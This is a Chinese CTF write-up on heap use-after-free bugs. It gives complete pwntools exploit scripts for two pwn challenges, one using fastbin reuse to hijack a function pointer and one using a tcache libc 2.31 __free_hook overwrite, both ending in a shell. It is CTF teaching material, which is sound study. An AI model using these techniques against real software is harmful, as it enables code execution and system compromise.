UAF简介:free掉堆块后未对其指针进行置零操作,导致还能通过show和edit去利用这个chunk
利用:
- 被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针,我们可以尝试泄露出来这些指针的内容,进而计算出相关基址。
- 被free的chunk会进入链表,原来的mem区域会用来保存一些关键的指针,我们可以尝试修改这些指针的内容,进而破坏链表实现跨段分配非法堆块获得libc(等)段的任意(或近似任意)写能力,或者跨段在关键指针处写入堆地址。
题目:
add函数会创建两个堆块,一个结构体,存放输出函数指针和content指针,content大小由输入的size决定,free函数存在uaf,show函数并没有直接使用printf,而是使用了结构体里面的指针,并且存在system函数和/bin/sh字符串,不需要泄露libc
先编写自动化脚本
from pwn import *
# p=remote("node3.buuoj.cn",26770)
p=process('./pwn')
elf=ELF('./pwn')
context(os='linux', arch='amd64', log_level='debug')def add(size,content):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Please input size: ")
p.sendline(str(size))
p.recvuntil("Please input content: ")
p.send(content)def delete(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Please input list index: ")
p.sendline(str(index))def show(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Please input list index: ")
p.sendline(str(index))bin_sh=0x602010
system=elf.plt['system']
因为输出是由函数指针决定的,如果我们可以控制结构体的指针,那么我们就可以通过show执行任意函数,那么如何控制结构体指针呢,就是uaf,free的时候同时free掉结构体堆块和content堆块,没有置空,那么如果我们想办法申请回来结构体堆块为content堆块我们就可以对其中的指针进行修改,再调用其堆块的show功能就可以getshell了
add(0x80,"aaaa")#0
add(0x80,"bbbb")#1delete(0)
delete(1)
# gdb.attach(p)
add(0x10,p64(0x602010) + p64(system))#2show(0)
p.interactive()
先申请两个大于0x10大小的堆块,然后将其free,此时fastbins中0x20大小的堆块有两个,均为结构体堆块,fastbins的取出规则为先进后出,具体为free堆块时判断当前的 bin 是不是在 fast bin 范围内,在的话就插入到 fastbin 头部,即成为对应 fastbin 链表的第一个 free chunk,当malloc时从 fastbin 的头结点开始取 chunk。那么我们申请大小为0x10大小的content堆块时就会将chunk1的结构体作为chunk2的结构体,chunk0的结构体作为chun2的content域,所以修改content域就是修改chunk0的结构体,分别修改为system和/bin/sh地址再show(0)即可getshell
[HGAME 2023 week2]editable_note | NSSCTF
依旧存在uaf,但是libc为2.31,存在tcache,依旧先编写自动交互
from pwn import *
from struct import pack
from ctypes import *from LibcSearcher import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = remote("node5.anna.nssctf.cn", 25565)
libc = ELF("./libc-2.31.so")
elf = ELF('./pwn')
def add(idx, size):
sl(b"1")
sla(b'Index: ', str(idx))
sla(b'Size: ', str(size))
def free(idx):
sl(b"2")
sla(b'Index: ', str(idx))
def edit(idx, content):
sl(b"3")
sla(b'Index: ', str(idx))
sa(b'Content: ', content)
def show(idx):
sl(b'4')
sla(b'Index: ', str(idx))
我们需要泄露libc地址,因此我们先填满tcache然后把一个堆块放进unsortedbin后show即可获取libc地址
for i in range(8):
add(i,0xf0)
add(8,0x20)
for i in range(8):
free(i)
show(7)libc_base = get_addr() - 2018272
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
接下来我们修改tcache的next指向为free_hook修改为system即可
add(9, 0x20)
add(10, 0x20)
free(8)
free(9)
edit(10,b"/bin/sh\x00")
edit(9,p64(free_hook))
add(11,0x20)
add(12,0x20)
edit(12,p64(system))
free(10)
# debug()
inter()